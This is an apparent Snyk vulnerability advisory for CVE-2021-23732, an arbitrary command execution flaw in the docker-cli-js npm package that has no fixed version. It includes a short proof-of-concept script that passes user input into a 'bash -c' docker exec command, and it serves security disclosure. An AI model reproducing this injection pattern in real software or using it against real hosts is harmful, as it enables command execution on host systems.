

## Arbitrary Code Execution

Affecting [docker-cli-js](#) package, versions \*

INTRODUCED: 23 AUG 2021 [CVE-2021-23732](#) [CWE-94](#) [FIRST ADDED BY SNYK](#)

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### How to fix?

There is no fixed version for `docker-cli-js`.

### Overview

Affected versions of this package are vulnerable to Arbitrary Code Execution. If the `command` parameter of the `Docker.command` method can at least be partially controlled by a user, they will be in a position to execute any arbitrary OS commands on the host system.

### Steps to Reproduce

1. Create a file named `exploit.js` with the following content:

```
var dockerCLI = require('docker-cli-js'); var DockerOptions = dockerCLI.Options; var Docker = dockerCLI.Docker; var docker = new Docker(); var userInput = "echo 'Hello from the container'";

docker.command(exec container-test bash -c &quot;${userInput}&quot;, function (err, data) {
  console.log('data = ', data); });
```

2. In the same directory as `exploit.js`, run `npm install docker-cli-js`.

3. Create a background Docker container named `container-test`: `docker run --name container-test -d ubuntu sleep 1000`

4. Run `exploit.js`: `node exploit.js`.

You should see the outputs of both the container and host system.

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Attack Complexity	High
Scope	Changed
Confidentiality	HIGH
Integrity	HIGH
Availability	HIGH

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Snyk ID	SNYK-JS-DOCKERCLIJS-1568516
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Disclosed	23 Aug 2021
Credit	Paul-Emmanuel Raoul of SkypLabs

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